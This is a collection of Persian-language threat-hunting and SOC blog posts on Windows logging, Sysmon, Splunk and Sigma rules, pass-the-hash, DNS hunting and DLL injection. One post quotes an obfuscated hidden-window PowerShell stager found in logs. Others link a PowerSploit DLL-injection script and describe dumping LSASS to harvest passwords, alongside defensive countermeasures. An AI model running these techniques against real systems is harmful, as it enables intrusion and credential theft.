Wazuh Active Response

یکی از قابلیتهایی که میتوان در مرکز عملیات امنیت پیاده سازی کرد ، پاسخ خودکار است . اما معمولا به دلیل عدم توانمندی تشخیص دقیق حمله و همچنین مخالفت سایر ذینفعان در سازمان ، اجرای این امر محقق نمیگردد.

در Wazuh بخشی برای پاسخ وجود دارد که از آن میتوان برای مثال برای بستن IP حمله کننده استفاده کرد

این عمل با تنظیم سطح هشدار و اسکریپت اعمال دستور انجام میپذیرد

یعنی با تعریف شرایط و آستانه ، پس از رسیدن به آن آستانه عملی در پاسخ آن مشکل (حمله ) صورت میپذیرد

ساختار کلی در ارتباط Agent  و Manager  در پاسخ به رویداد در شکل زیر :

برای دیدن تصویر بهتر به این لینک بروید

https://documentation.wazuh.com/current/user-manual/capabilities/anomalies-detection/how-it-works.html#check-hidden-ports

مراحل انجام کار :

 در ossec.conf دستورات زیر تعریف میگردد:

1- برای اجرای اسکریپت باید کامندی با پترن زیر نوشته شود

<command>
  <name>host-denyname>
  <executable>host-deny.shexecutable>
  <expect>srcipexpect>
  <timeout_allowed>yestimeout_allowed>
command>

 

2 پاسخ مد نظر به پترن زیر نوشته میشود

<active-response>
  <command>host-denycommand>
  <location>locallocation>
  <level>7level>
  <timeout>600timeout>
active-response>

 

برای مثال پاسخ ها این ها میتوانند باشند

Script name

Description

netsh.cmd

Blocks an ip using netsh

restart-ossec.cmd

Restarts ossec agent

route-null.cmd

Adds an IP to null route

تاکتیک ، تکنیک و پراسیجر

این روزها در مورد TTP زیاد میشنوید

Tactics, techniques and procedures

 

اینها مراحلی برای انجام عمل خرابکارانه هستند که در حوزه امنیت اطلاعات استفاده میشوند

حالا با مثالی این موراد را بررسی میکنیم

تاکتیک :

راه مورد پسند و انتخابی برای رسیدن به هدف چیه ؟

خیلی کلی

مثلا هوایی برویم به اصفهان یا زمینی

یا قراره یک وبسایت رو پایین بیاوریم که تصمیم تاکتیکی آن است که به روش اجرای کد مخرب روی اون این کار  انجام بشود . معمولا تصمیمات تاکتیکی توسط مدیر پروژه یا خبره ترین فرد گروه اخذ میشود

تکنیک

با چه سیله ای این کار رو انجام بدیم

مثلا اگر زمینی میرویم با اتوبوس یا با تاکسی برویم

یا در مورد مثال حمله به سایت ،  از طریق تزریق کد درPHP به هدف برسیم

پراسیجر :

دقیقا چطور حمله رو انجام بدیم قدم به قدم 

ساعت چند به سمت اصفهان حرکت کنیم و وسط راه توقف داشته باتشیم ؟

در مثال  تست نفوذ:  ماژول ها رو در فریم ورک متاسپلویت به چه ترتیبی لود کنیم

 

درسهای مرتبط 504 و 460و 542

 

 

کشف Pass-The-Hash با کمک لاگ ها

 

در این مقاله به Pass-The-Hash میپردازیم که هکر با استفاده از آن تلاش میکند بین هاست ها حرکت کند . این حرکت با استفاده از پروتکل NTLM و بدون نیاز به پسورد کاربر انجام میگیرد.ابزاری که در این مقاله معرفی میگردد بنام (Ketshash) کمک موثری در کشف PTH است در این مثال به بحث Over-Pass-The-Hash (OPTH)نمیپردازیم

 

تعیین هویت بدون پسورد :

در هشی که مایکروسافت درویندوز استفاده میکند SALT  وجود ندارد لذا تمام پسورد های یکسان که با پروتکل NTLM  هش میشوند دارای هش یکسان است لذا اگر از روی هش یک کاربر به پسورد آن برسیم (برای مثال از طریق Rainbow Table ) پسورد تمام کاربرانی که هش آنها مشابه هش کشف شده است را داریم .

هنگام انجام تعیین هویت با NTLM  شماره رویداد 4624با لاگین تایپ 3 و Authentication Package NTLM (or by logon process name NtLmSsp)

در لاگ میافتد

شکل زیر

 

هنگام استفاده از روش PTH  دو راهکار مد نظر است :

تزریق هش پسوردی که داریم در LSAS.exe و بازکردن یک سشن با هش تزریق شده

استفاده از قسمتی از پروتکل NTLM  برای تعیین هویت با هش و ارسال دستور روی شبکه با پروتکلی نظیر SMB یا WMI

هرگاه استفاده از پسورد قبل از ارتباط NTLM را دیدید به آن کاری نداشته باشید

کانکشن های بی مشکل عبارتند از :

 

4768 – A Kerberos authentication ticket (TGT) was requested

4769 – A Kerberos service ticket (TGS) was requested

4648 – A logon was attempted using explicit credentials

4624 – An account was successfully logged on

Logon types: 2 (Interactive), 7 (Unlock), 10 (RemoteInteractive) or 11 (CachedInteractive).

 

به کدام ارتباطات NTLM شک کنیم :

هرگاه یک سشن با اکانت غیر قدرتمند از طریق ارتباط NTLM  ساخته شده بود

با کمک از این ابزار ، عملیات جستجو در لاگ ها برای یافتن ترتیبی که در فوق شرح داده شد را تسریع میبخشیم

https://github.com/cyberark/ketshash

مقایسه روشهای تعیین هویت بایومتریک

 

اسپلانک و Appنویسی



در اسپلانک app ها کار را برای ما ساده میکنند و مجموعه ای از اعمال را شامل رول، دشبورد ، سرچ ،اکشن و... را درقالب یک پکیج فراهم میاورند.

با app ها دست ما در دستکاری خروجی ها و بهسازی آنچه از اسپلانک میخواهیم باز است .

اگر از اسپلانک انتظارانی دارید که تاکنون براورده نشده ، کارشناسان ما با app هایی که مینویسند ، راه را برای شما هموار خواهند کرد.


لینک زیر آموزش app نویسی در سایت اسپلانک است

 

https://dev.splunk.com/enterprise/tutorials/quickstart/createyourfirstapp
و
اگر آموزش app نویسی را هم خواستید به آکادمی آموزش روزبه مراجعه نمایید

 

 

لاگ خوانی : این قسمت کامند پراسسی که بالا است

سلام خدمت دوستان

گفتم کمی هم معمولی بنویسم .

بخشی از لاگ خوانی به به این برمیگرده که اصلا تنظیم کرده باشی ویندوز چی رو برات لاگ کنه !!

بله ویندوز بصورت پیش فرض هر چیزی که اتفاق میوفته رو در لاگ خودش نمینویسه . پس نمیتونی هرچی رو در لاگ بخونی یا اگر لاگ رو با UF  اسپلانک برمیداری و میبری روی اسپلانک ، اونجا همه چیو ببینی .

دلیل فعال نبودن به  اون برمیگرده که هر لاگ فضا اشغال میکنه و اگر فضای موجود مناسب نباشه زود پرمیشه و فرصتی برای پایش و بررسی عناصر حیاتی و معمول نمیمونه .

اما حیاتی برای مایکروئسافت یکسری چیزا بوده ولی شاید برای ما چیز دیگه است لذا باید با توجه به هدفمون که برمیگرده به یوزکیس در مرکز عملیات امنیت یا ساده بگم به چیزی که میخوایم در لاگ بببینیم حتی روی سیستم خودمون

ما لاگ ویندوز رو برای تولید قلم مد نظر تنظیم میکنیم به این عمل میگن تنظیم  Auditing ویندوز

 

یکی از چیزایی که باید تنظیم بشه ، این هست که پراسسی که الان در حافظه است با چه  دستوری بالا اومده چون برخی حملات به راحتی با نگاه به کامند مربوطه قابل شناسایی هستند .

لذا اگر شما بتونین کامند رو در لاگ ویندوز ببینین میتونین بگین اون پراسس مشکوک هست یا نه

پس از تنظیم آدیت ، که در لینک پایین میتونید نحوه انجامش رو ببینین ، در لاگ اینا رو میتونین بخونین :

Process command line

 

و برای تنظیم در این صفحه باید تنظیما رو انجام بدین

لینک مربوطه به نحوه انجاتم تنظیمات :

 

https://nxlog.co/documentation/nxlog-user-guide/windows-command-line-auditing.html

تلاش برای کشف نشدگی : ارتباط C2 از طریق وب سرویس ها

یک سناریو را فرض کنید که در آن در یک سایتی وجود دارد و هکر مستند آفیس آلوده ای را روی آن  قرار میدهد. کاربر با دانلود این مستند و باز کردن آن باعث میگردد ماکروی آن فعال شده و DLL مورد نظر دانلود شود . مرحله بعد ، تلاش برای ایجاد ثبوت در سیستم است که در صورت ریبوت شدن ، این آلودگی برقرار و دسترسی به سرور مادر برپا باشد . این امر  با دستکاری در رجیستری این امر محقق میگردد.(منبع درس های 504 و 511)

حالا نوبت ارتباط با سرور مادر است . در این مرحله متخصصان SOC با داشتن فید های Threat Intelligence میتواننددر اسپلانک رولهایی بنویسند که هر نوع ارتباط با مقاصد آلوده را اطلاع رسانی نماید .(منبع درس 555)

اما یک مرحله پیشرفتگی در این حمله آن است که هکر از وب سرویس هایی که توسط سایت های مهم ، عام و معتبر ارایه میکند برای انتقال داده هایش استفاده کند مانند توییتر و فیس بوک و گوگل.

برای این امر ازفناوری وب سرویس بهره میگیرد 

نکته جالب ماجرا آن است که وب سرویس امکان رمزنگاری   راهم فراهم میاورد

با استفاده از این قابلیت که وب سرویس بمانند عامل میانه عمل میکند ، زیرساخت و پایگاه هکر ناشناخته میماند

ضمنا در این حالت با استفاده از آنالیز باینری بد افزار نیز کاری نمیتوانیم بکنیم چرا که زیرساخت هکر هم میتواند داینامیک تغییر کند

 

روش کشف

این نوع تبادل داده را به آسانی نمیتوانید کشف کنید .اما کارهایی میشود کرد.

اینکه چه پراسس هایی در حال اتستفاده از ارتباطات شبکه ای هستند میتواند مهم باشد.تبادلات رمزنگاری شده  در شبکه بایستی بررسی شود از لحاظ تطابق با خط مشی سازمان .

زمان ، مبدا و حجم.پایش رفتار کاربر هم میتواند کمک کننده باشد(منبع درس های 555و572و508)

کشف ارتباطات Share که حذف شده اند

چرا ما در SOC یا در عملیات Threat hunting  به دنبال کشف ارتباطات Share که حذف شده اند باشیم ؟

 

هکر ها بنا به دلایلی از جمله ایجاد امکان انتقال داده های باارزشی که یافته اند یا برای انتقال ابزارهای هکری ، نیاز به ارتباطات دارند. Share ها میتوانند کمک مهمی در این زمینه برای هکرها باشند

این هکرها در سازمان نفوذ کرده یا از دسته کارمندان داخلی سازمان هستند. 

هکر وقتی کارش با Share تمام شد باید آنرا حدف کند چرا که shareها بعنوان ردپا توسط کارمندان SOC یا هانتر ها قابل ردیابی و کشف است .

 

 

حالا ما باید دنبال کشف Share هایی باشیم که توسط هکر حذف شده اند . بله او پاک کرده ولی ما به دنبال اثر ردپایش هستیم .

رول اسپلانک زیر را برای این‌منظور استفاده میکنیم

 

index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”\\net.exe” CommandLine IN (“*net share” , “/delete”)) index=windows SourceName=”Microsoft-Windows-PowerShell” Message IN (“Remove-SmbShare” , “Remove-FileShare”) \\Delete a share with powershell

 

Code Injection detection with Sysmon

Threat Hunting

کشف حمله تزریق کد توسط لاگ Sysmon

ابزار  سیسمان که توسط مارک راسنویچ ابداع گردید امروزه در سایت مایکروسافت بعنوان ابزار رسمی مایکروسافت موجود است . این ابزار میتواند لاگ غنی و مطلوبی را از عملکرد های انجام شده در سیستم عامل ویندوز ارایه کند که بعضا در لاگ معمول ویندوز موجود نیست . لذا Sysmon  ابزار مهمی در دست Threat Hunter  ها است .

باید بانید که Sysmon برای تولید لاگ مورد نیاز نیاز به انجام تنظیمات دارد که این تنظیمات در فایل کانفیگ آن باید درج شود.

در خصوص موارد Sysmon  انشالله در نوشته های آتی صحبت خواهم کرد

امروز تزریق کدی را میبینیم و به کمک Sysmon  آنرا کشف میکنیم

 

برای تزریق کد از ابزار processhacker  استفاده میشود ( دانلود از اینجا https://processhacker.sourceforge.io/)

هدف ما این است که Notepade یک DLL  دیگر که بدافزار است را فراخوانی کند

در شکل زیر فعلا Notpade را میبینیم

روش تزریق : برای تزریق مراحل زیر را میپیماییم

 

پس از انجاتم تزریق میبینیم که یه Dll  اضافه شده است

 

حالا در لاگ چه میبینیم

 

باید با دقت نگاه کنید

در لاگ سیسمان که در فولدر سیسمان است چه میبینید ؟

بررسی یک کامند encode شده پاور شل

سلام .

در حین کار امروز در مرکز عملیات امنیت به کامند های مشکوکی برخوردم که مجبور شدم در زمینه اونها به بررسی بپردازم .

به یافته هایی رسیدم که اونها رو با شما به اشتراک میگذارم

یه چیزی شبیه اینو در لاگ های موجود در  اسپلانک دیدم

C:\\Windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe\" -noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIAAGu2V0CA7VW+2+bS
[abridged for readability]
Smp3Bv/sXwP1be8Xp78FXj57CvaH7e83/gjLP417gCkHQRN6DyOn2fdW+AklXn0aQEIg407yxB93jxG/eoAPhovzfwBcvAfyRwoAAA=='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))

دستور فوق عجیب است .در زیر المان های دستوری اونو باز میکنم

-noni – این کامند رو بدون نیاز به دخالت کاربر اجرا کن

-nop – بدون اینکه به پروفایل پاورشل نگاه کنی اجرا کن

-w hidden –استایل پنجره رو مخفی کن

-c – خروجی رو بصورت استرینگ و کامند پاورشل بده بیرون

 

حدس بر آن است که این کامند پاور شل قصد بر اجرای پی لود دارد

لذا دستور که Base64  کد شده رو باید باز کنیم

[System.Convert]::FromBase64String

اما با توجه به اینکه پی لود با GZIP  فشره شده است این دستور را میزنیم تا یاز شود

System.IO.Compression.GzipStream

 

هرچه یه تک کوتیشن هست رو در دستور زیر جایگزین میکنیم

FromBase64String('[huge block of base64 here]')

 

DNS Traffic Threat Hunting

پروتکل DNS  برای تبدیل نام دامنه به IP  استفاده میگردد. در این مقاله ما سعی میکنیم رفتارهای مشکوک این نوع پروتکل رابررسی کرده و راههای هانت آنرا به نمایش بگذاریم

سه شاخصه مهم که ترافیک DNS  را مشکوک میسازد عبارتند از :

1- بجای استفاده از پروتکل UDPدر پورت 53 از پروتکل TCP  استفاده شده است

2- ترافیک مشاهده شده از یا به سرور DNS  نیست

3- درخواست های DNS  پاسخی را به همراه ندارند

 

DNS Transaction ID: فیلد 16 بیتی مشخص کننده درخواست DNS  است و توسط درخواست کننده تولید شده و در پکت برگشتی باید مشاهده گردد.

ترافیک مشکوک:

با توجه به آنچه که در پکت شماره 60 میبینیم بجای استفاده داز UDP  از TCP  استفاده شده است . و لازم است بدانید که AXFR پروتکلی است که در زون ترنسفر مورد استفاده قرار میگیرد.

اما چرا در برخی درخواستهای DNS  کلا از TCP  استفاده میگردد؟ هرگاه پاسخ یک کوئری DNS  بزرگ باشد که در یک پکت UDP  جا نشود از TCP  کمک گرفته میشود و چون عملیات زون ترنسفر حاوی داده هایی زیاد است از TCP  استفاده میگردد.

سوال برای اینکه ببینید نکات را گرفته اید ؟

برای هانت دنبال چه باشیم یا اگر خواستیم یوزکیسی بنویسم برای SOC  ، چه پارامترهایی را بیرون بکشیم ؟

 

در پست های بعد در مورد سایر راههای رفتارهای مخربانه که از DNS سوء استفاده میکنند صحبت خواهیم کرد.

Malware Threat Hunting - شکار بد افزار

این قسمت : آشنایی با ابزار ProcScan

hich is written in Ruby, can be used to scan process memory looking for code injection. Unfortunately, it only works for 32-bit systems? applications? and does not support 64-bit systems/applications. You can download the tool

 

این ابزار به زبان رابی نوشته شده است . با کمک از آن میتوانید در حافظه به دنبال پراسس هایی باشید که شما را به کشف  تزریق کد(Code Injection) رهنمایی میکنند . متاسفانه این ابزار فعلا برای برنامه های سیستم های 32 بیتی کاربرد دارد .

هملنطور که در شکل فوق ملاحظه میکنید ThreadId=2516 راشناسایی کرده است .اما نکته منفی آن است که این ابزار به ما PID  یعنی ID  پراسس والد را نمیدهند.

چه بد !! اشکالی ندارد میرویم سراغ پاور شل !:)

با دستور زیر در پاور شل ، لیست کل پراسس های در حال اجرا را میگیریم :get-process

آنوقت همانطور که در شکل زیر میبینید ID  مرتبط یا rundll32  را بیرون کشیده ایم .

برای اطمینان بیشتر ، دستور زیر را در پاور شل بزنید و ID  خروجی را ببینید:

ps | % {$_.Name ; $_.Threads} | % {“`t{0}” –f $_.ID}}

 

رولهای سیگما

امروزه تعداد و تنوع حمله سایبری زیاد شده اند. در همین راستا مراکز و افراد متعددی برای تحلیل حملات و استخراج نحوه کارکرد و نشانه های آلودگی ( IoC) به آن بد افزار کار میکنند.

 

اما پس از آنکه محققان در آزمایشگاه نحوه فعالیت بدافزار یا گروه هکری را کشف کردند ، بایستی این موضوع به اطلاع همگان برسد تا هرگونه آلودگی را کشف کنند .

 

از سوی دیگر برای کشف آلودگی علاوه بر نیاز به سنسور ها نیاز به رولهایی در SIEM است .

لذا برای نحوه کشف هم باید سنسور ها( نظیر اسنورت) تنظیم شوند و هم در SIEM رول مربوطه نوشته شود.

 

اما مشکل آنجا پیدا میشود که زبان رول نویسی در هر SIEM متفاوت است لذا توزیع نحوه کشف دچار تاخیر میگردد.

 

برای این منظور ، یک زبان عام برای این امر ابداع شده است که بتواند نحوه کشف حمله را طوری توصیف کند که شما بتوانید به هر SIEM ای که مسلط هستید رول مربوطه را از روی آن زبان بنویسید . اسم این زبان سیگما است 

 

نمونه رول سیگما برای کشف آلودگی و حمله Exchange

https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_exchange_exploitation_hafnium.yml

 

ابزارهایی برای تبدیل فرمت ها مثلا سیگما به اسپلانک وجود دارند نظیر لینک زیر

https://uncoder.io/

تحلیل اطلاعات حمله سایبری با گراف ساختاری

برای تحلیل اطلاعات سایبری نیاز است ساختار های این اطلاعات که ما فعلا در این مقاله برای عدم اشتباه در برداشت معنی، به دارایی از آنها نام میبریم را بشناسیم

یک دسته بندی از دارایی های اطلاعاتی سازمان که در مراحل مختلف غنی میشوند به شرح هرم زیر است 

 

در هرم زیر داشته های اطلاعاتی سازمان بنا به ماهیت و پختگی به سطوحی دسته بندی و در هرمی به نمایش در میاید :

DIKW Pyramid

در کف  این هرم داده ها از میزان زیاد برخوردار هستند اما هر چه بالاتر میرویم از حجم کمتر واما به غنای داشته سازمان افزوده میگردد

 

و اما تعاریف :

  • در لایه داده : اینجا ما با داده خام پردازش نشده مواجه هستیم نظیر لاگ برنامه های کاربردی ، لاگ هاست ها ، لاگ تجهیزات امنیتی و انواع لاگ و داده های سلامت سرویس ها
  • لایه اطلاعات: در این لایه با یک پردازش روی داده خام داده ها از طریق رولها و شنات رفتاری با معنی شده اند .برای مثال اینکه از یک سورس خاص پروتکل SSH  بیشتر استفاده شده است. معمولا بسیاری از مراکز عملیات امنت در همین لایه گیر میافتندو عملیات کاری ایشان در همین سطح میباشد.
  • لاسه دانش: در این لایه ، اطلاعات دسته بندی و خلاصه شده اند تا بتوانند در راستای کشفی مشخص به ما کمک کنند .ترکیب داده های سازمان با CVE  ها ، شناخت پترن و مپ کردن آن به روش های حمله بر اساس به روش های شناخته شده جهانی چون CAPEC .

استفاده از گراف برای ساختاردهی و مرتب سازی داده ها

 

یکی از ابزار های جالب برای ارتباط داده ها بهم و ساختار دهی را در لینک زیر میاوریم

https://www.mitre.org/research/technology-transfer/technology-licensing/cygraph

با ایجاد ساختاردهی به داده ها ، متخصصان امنیت در بین حجم انبوهی از داده ها میتوانند ارتباطات مشخص را به راحتی درک کنند

 

 

انواع گراف های داده ای :

Environmental data graph

با استفاده از مدیریت دارایی ها ، مدیریت آسیب پذیری ها ، مدیریت ریسک و داده های بیزنسی مرتبط به همراه ساختار فناوری اطلاعات سازمان و نیروی انسانی ، گرافی مرتبط کننده اینها را ترسیم میکنیم. باید بدانیم به مقوله دفاع سایبری سازمان در یک  محیط ایزوله نباید  بصورت ایزوله نگاه کرد. ساختن این گراف یکی از خلاقیت های معماران امنیت اطلاعات است که دارندگان مدارک CISSP  میتوانند نمونه ای از آنها باشند.

هدف از این گراف آن است که دید کلی اما ارتباطی در مقولات اشاره شده با توجه به ماهیت بیزنسی سازمان حاصل گردد و ما در تله ابزار ها و فناوریها نیفتیم موضوعی که اکثرا در کسور نادیده گرفته میشود و تنها به تهیه ابزار ها بسنده میشود .

 

Behavioral data graph

 

از زوز لاگ های خام برای سرویس ها و دارایی های سازمان پروفایل های رفتاری میسازیم اما ساختن این پروفایل ها نیاز به دانش از سازمان ، مدل و ساختار شبکه و امنیت سازمان دارد.

یکی از نکات این این گراف ها آن است که خود بعنوان شاهد رخداد عمل میکنند . معمولا در هوش مصنوعی و هوش تجاری ، نمایش بصری خود بعنوان راهکارتشخیصی برای بهینه بودن مدل انتخاب میگردد.

ریزدانگی و دقت در تنظیمات لاگ های جمع آوری شده ، برای این مرحله حیاتی است برای مثال تنظیم درست فایل تنظیمات سیسمون بسیار برای ترسیم گراف کارا عمل مینماید.

 

Intelligence data graph

با توجه به حوادث بیرون سازمانی ،فید هایی از منابع هوش تهدید دریافت میگردد که ما بایستی آنها را با داشته های خود به گرافی تبدیل کنیم

 

Knowledge data graph

رولهای چند بارتلفیق شده بعنوان منبع تهیه گراف دانشی میتوانند مورد استفاده قرار گیرند. معمولا در هنگام تهیه رولها در SIEM  ، یوزکیس ها تا زمان برآورده شدن شر ایطی ، پاسخ نخواهند داد ،اما پس از رسیدن به آن شرایط دانش تولید میگردد که این دانش در خروجی رولهای تلفیقی اولیه وجود نداشته است

مثلا در ArcSight رولاهای نلفیقی دوباره در چنل فلو وارد میشوند تا برای تلفیق بعدی مورد استفاده قرار گیرند

 

تشخیص Pivot یا Lateral movement

هکر ها در مرحله بعد ا زنفوذ به سازمان (Post-exploitation) تلاش میکنند به دو هدف از هاستی که ستخیر کرده اند به هاست های دیگر بروند :

1- یافتن داده های حساس

2- انتقال داده های جمع آوری شده به محلی که امکان خروج از سازمان برای آنها فراهم است

 

لذا این عمل انتقال از هاست به هاست دیگر یعنی  Pivot یا Lateral movement  نیازمند آن است که در برنامه کشف یا هانت سازمان بیاید .

 

در شکل زیر ایده ای برای استفاده از Zeek  را برای کشف این موضوع مرور کنید

 

تزریق در پراسس ها (DLL Injection)


برای اجرا شدن برنامه ها و Exe ها بایستی قابلیت های مورد لزوم برنامه، از نحوه تعامل با سیستم عامل تا مدیریت حافظه رادر آن نهاد . با ابداع DLL  ها یعنی کتابخانه های آماده ، برنامه نویسان و حتی خود ویندوز لازم نیست همه چیز را از نو بنویسند لذا برای  برخی موارد مثلا پرینت، DLL مربوطه را صدا منیزنند یا یک کپی از آن رادر فولدر خود نگهدای میکنند .
مکانیسم کنترل اصالت DLL ها و مدیریت تخصیص آنها در ویندوز دارای اشکال اساسی در معماری ویندوز است که در مانیفست ویندوز آمده است لذا امکان خوراندن یک DLL  اشتباه و بدخواهانه به نرم افزا وجود دارد .
البته ادعای ویندوز برآن است که با عمل امضای دیجیتال سعی در مدیریت این موضوع داشته است اما در عمل حتی در سال گذشته ، دور خوردن MSTDC  با  روش تزریق DLL را شاهد بودیم
در این حمله هکر یک DLL مورد استفاده برنامه را دستکاری کرده تا عمل مدنظر هکر را انجام دهد و منتظر میماند تا برنامه اصلی اجرا شده و DLL را صدا بزند
 
ما برای تست این موضوع یک اسکربپت پاورشل را بریتان ارایه میدهیم امیدواریم تست کنید و نتیجه بگیرید.
 https://www.powershellgallery.com/packages/PowerSploit/3.0.0.0/Content/CodeExecution%5CInvoke-DllInjection.ps1

ابزارهای کمک در Threat Hunting

 

اسکریپ جالبی که به زبان پایتون نوشته شده است رو امروز خدمتتون معرفی میکنم

Malwoverview.py

این اسکریپت  در زمره ابزار های مورد استفاده در بخش مدیریت حادثه و اولین واکنش ها(Incident Response ) مورد استفاد ه قرارمیگیرد.با کمک از آن، مرحله تریاژ اولیه شامل نمونه گیری و تحلیل اولیه  از بد افزار ، آدرس دامنه ، IP، خانواده بدافزار و IOC  ها و هش های مختلف را انجام میدهید .

 

قابلیت ها :

 

  1. Determine similar executable malware samples (PE/PE+) according to the import table (imphash) and group them by different colors (pay attention to the second column from output). Thus, colors matter!
  2. Show hash information on Virus Total, Hybrid Analysis, Malshare, Polyswarm, URLhaus, Alien Vault, Malpedia and ThreatCrowd engines.
  3. Determining whether the malware samples contain overlay and, if you want, extract it.
  4. Check suspect files on Virus Total, Hybrid Analysis and Polyswarm.
  5. Check URLs on Virus Total, Malshare, Polyswarm, URLhaus engines and Alien Vault.
  6. Download malware samples from Hybrid Analysis, Malshare, URLHaus, Polyswarm and Malpedia engines.
  7. Submit malware samples to VirusTotal, Hybrid Analysis and Polyswarm.
  8. List last suspected URLs from URLHaus.
  9. List last payloads from URLHaus.
  10. Search for specific payloads on the Malshare.
  11. Search for similar payloads (PE32/PE32+) on Polyswarm engine.
  12. Classify all files in a directory searching information on Virus Total and Hybrid Analysis.
  13. Make reports about a suspect domain using different engines such as VirusTotal, Malpedia and ThreatCrowd.
  14. Check APK packages directly from Android devices against Hybrid Analysis and Virus Total.
  15. Submit APK packages directly from Android devices to Hybrid Analysis and Virus Total.
  16. Show URLs related to an user provided tag from URLHaus.
  17. Show payloads related to a tag (signature) from URLHaus.
  18. Show information about an IP address from Virus Total, Alien Vault, Malpedia and ThreatCrowd.
  19. Show IP address, domain and URL information from Polyswarm.
  20. Perform meta-search on Polyswarm Network using several criteria: imphash, IPv4, domain, URL and malware family.
  21. Gather threat hunting information from AlienVault using different criteria.
  22. Gather threat hunting information from Malpedia using different criteria.
  23. Gather threat hunting information from ThreatCrowd using different criteria.
  24. Provide Yara rules and associated information from Valhalla.
  25. Gather threat hunting information from Malware Bazaar using different criteria.
  26. Gather IOC information from ThreatFox using different criteria.

 

https://github.com/alexandreborges/malwoverview

 

برویم Hunt !

خب امروز حسم بر این شد که یک کامند جالب که میتونه در قسمتی از عملیات هانتینگ به کمک بیاد رو براتون بگذارم . امیدوارم مورد استفادتون قرار بگیره

 

برخی مواقع به ما خبر میدن یا در مقاله ای میخونیم که در یک عملیات هکری ، کامند خاصی اجرا شده است . آن کامند میتواند از طریق Threat Intelligence  برای ما ارسال شده باشد.

اما چکار کنم که بدانم آن کامند و  دستور، روی کدام یک از سیستم هایم به اجرا درآمده است ؟

 

اینجاست که پاورشل به کمک میآید .

تنها با دستور زیر شما میتونید ببینید اون کامند کجا اجرا شده که اگر جایی اجرا شده بود نشان از اینه که باید اون هاست در عملیات هانتینگ شما اضافه بشه .

 

let powershellCommandName = "Invoke-RickAscii";

MiscEvents where ActionType == "PowerShellCommand" and AdditionalFields contains powershellCommandName

| extend PowerShellCommand=extractjson("$.Command", AdditionalFields, typeof(string))

| where PowerShellCommand =~ powershellCommandName

| project EventTime, ComputerName, InitiatingProcessCommandLine, InitiatingProcessParentFileName

 

پی نوشت : اگر جایی از دستور براتون نا آشناست از Help پاورشل کمک بگیرید

Get-Help Command

دیتاست برای Threat Hunting

در خوزه امنیت اطلاعات، استفاده از Threat Hunting  بعنوان Next security solution  وقتی SOC  ها ناکارمد میشوند یا اصلا سازمان SOC  ندارد ،در حال همه گیر شده است .

بحث در این خصوص زیاد است و تعدادی از  متخصصین در کشور سعی کرده اند خراشی بر این دریای عمیق بیاندازند.

انشالله برای Threat Hunting  آکادمی روزیه ، شرکت امن گستران روزبه و گروه آموزشی پژوهشی روزبه برنامه های مفصلی را ارایه خواهند داد

من خودم بواسطه تخقیقات در کنار استادروزبه ، برای اتتخاب دیتاست ها برای امور آزمایشگاهی فعالیت کرده ام که امروز میخواهم یکی از آنها را که قابیلت های خوبی دارد را با شما به اشتراک بگذارم

 

With this Github repository, Mossé Cyber Security Institute offers you three (3) datasets to practice Threat Hunting.

The datasets contain forensics data for 25, 50 and 75 machines respectively. The answers for dataset 1 have been provided for learning purposes. It will be up to you to discover which machines have been compromised for the other two dataset. We have included how many machines in total per dataset have been attacked.

 

Installation

Install Python, and then do python -m pip install -r requirements.txt.

We recommend you use Python 3.6 as some people have reported issues getting Pyarrow working on 3.7.

 

Reading the Datasets

import pandas as pd
import pyarrow as pa
import pyarrow.parquet as pq

dataset = pq.ParquetDataset('dataset-1/w32services/')
table = dataset.read()
w32services = table.to_pandas()

https://github.com/mosse-security/threat-hunting-samples

بدست آوردن پسورد ها با دامپ Lsass

یکی از مراحل Post-exploitation  برای هکری که برخی از موانع امنیتی را دور زده است ، بدست آوردن پسورد سیستم ها است. روش دامپ پراسس در حافظه یعنی پراسس مدیر کردنشیال ها در ویندوز یکی از این روشها است .

ابزار Procdump از پکیج Sysinternals  یکی از راههای دامپ Lsass  و به دست آوردن پسورد ها است .

این ابزار به دلیل آنکه توسط مایکروسافت تولید میشود آنتی ویروسها آنرا تهیدید نمیشناسند .

در تصویر زیر دستور را میبینبد

برای پیشگیری و شکار این تهدید باید چه کرد ؟

1- کاربران نباید ادمین باشند

2- پایش تمامی اکانت ها در دستور کار باشد

3- کامند های زده شده روی سیستم ها از طریق Sysmon اخذ و  به SIEM  ارسال شده و رول مناسب نوشته شود

4- Whitelisting و blacklisting  در سازمان پیاده شده باشد

5-در فارنزیک هارد به دنبال فایل های دامپ موجود یا پاک شده باشید

6- هر نوع پاک شدگی لاگ پایش گردد. شما بفرمایید  ٍEvent ID  آن چند است ؟

7-هر توع شروع سشن لاگین از آن کامپیوتر به دیگری را پایش کنید خصوصا پس از دامپینگ

8-هر نوع ورود و خروج داده را از رایانه ها کنترل کنید و در فرضیه های هانتیگ آنها را لحاظ کنید

9 - سرویس های ایجاد شده در رایانه مذکور در حوالی اتفاق چیستند؟ Event ID  ایجاد سرویس چیست ؟

 

 

یک هرم مهم در امنیت:                                   هرم درد!!

نوشته ها در زمینه این هرم زیاد هستند . من از زبان و فهم خودم نگارشی بر آن خواهم داشت .

در یک عملیات هکری ، نفوذگر مراحل مختلفی را باید بگذراند و کد ها ، تاکنتیک ها و تکنیک های متفاوتی  را باید اجراکند تا از سد موانع امنیتی بگذرد .

باید گفت یک حمله میتواند پیچیده یا ساده باشد اما آنچه که در همه آنها مشترک است تاکنیک و تکتیک هایی است که هکر استفاده کرده است. حمله پیچیده از تاکتیک ها و نکتیک های بیشتری استفاده کرده و در برخی موارد ،تکتیکی را به کار برده است که کسی تا کنون از آن استفاده نکرده است .

منظور از تاکتیک ، مراحل عملیات هکینگاست  و منظور از تکنیک ، ایزار ها و روشها برای نفوذ به سیستم و انجام عملیات خرابکارانه است .(مرجع ، مدل ATT&CK)

یطور خلاصه ، هنگام استفاده از از تکنیک ها و تاکتیک ها ، رد پاهایی از هکر در سیستم های قربانی میافتد که پس از حمع آوری و پردازش آنها میتوان گفت داده های هوش تهدید یا Threat Intelligence از آنها نولید میشود . از این داده ها میتوان در محل های دیگر و سازمانهای دیگری برای شناسایی این نوع حمله استفاده کرد.

